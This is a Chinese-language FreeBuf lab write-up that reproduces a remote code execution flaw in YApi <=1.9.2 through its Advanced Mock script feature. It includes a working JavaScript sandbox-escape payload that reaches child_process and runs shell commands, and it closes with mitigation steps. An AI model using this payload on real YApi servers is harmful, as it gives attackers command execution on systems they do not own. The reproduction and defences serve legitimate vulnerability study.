freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

YApi接口管理平台远程代码执行漏洞复现
2021-07-10 10:50:13

前言

本文内容是作者在平时漏洞复现时记录的笔记,内容参考了前辈的经验,如有侵权请联系我及时进行删除。

影响范围

YApi<=1.9.2

1625885130_60e909caa3524ea6cc597.png!small?1625885129430

漏洞复现

环境搭建

攻击机:Windows10

受害者:Kali Linux (ip:192.168.18.131)

Kali搭建YApi:

git clone https://github.com/fjc0k/docker-YApi.git

cd docker-YApi

docker-compose up -d

复现过程

注册后点击添加项目

1625885154_60e909e28b24bec85810a.png!small?1625885153340

1625885161_60e909e9b84ead857c0a5.png!small?1625885160533

添加接口

1625885179_60e909fb308665a68830d.png!small?1625885177987

1625885189_60e90a0526cfd39f0ac14.png!small?1625885187929

点击高级Mock,选择脚本并开启,写入恶意代码并保存。

1625885195_60e90a0b0ad380ebcacae.png!small?1625885193808

1625885203_60e90a13065fe6035fb1f.png!small?1625885201802

保存后点击浏览,访问Mock地址,漏洞利用成功

1625885228_60e90a2cc834f95e609c1.png!small?1625885227608

1625885233_60e90a3139b5eb9681ced.png!small?1625885232005

payload

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

防御方案

1、关闭YApi用户注册功能;

在"config.json"添加"closeRegister:true"配置项:

{

"port": "*****",

"closeRegister":true

}

修改完成后,重启YApi服务。

2、暂时关闭mock功能(需要修改YApi代码);

在"config.json"中添加 "mock: false" ;

在"exts/yapi-plugin-andvanced-mock/server.js"中找到`if (caseData && caseData.case_enable) {...}`,在其上方添加`if(!yapi.WEBCONFIG.mock) {return false;}`。

3、白名单限制;

安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

参考链接

https://mp.weixin.qq.com/s/je06efYE9PqB58xhOyo2TA

https://mp.weixin.qq.com/s/v5EIpH2VvsvrI1RFZiLOlA

https://github.com/fjc0k/docker-YApi


# 漏洞复现
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录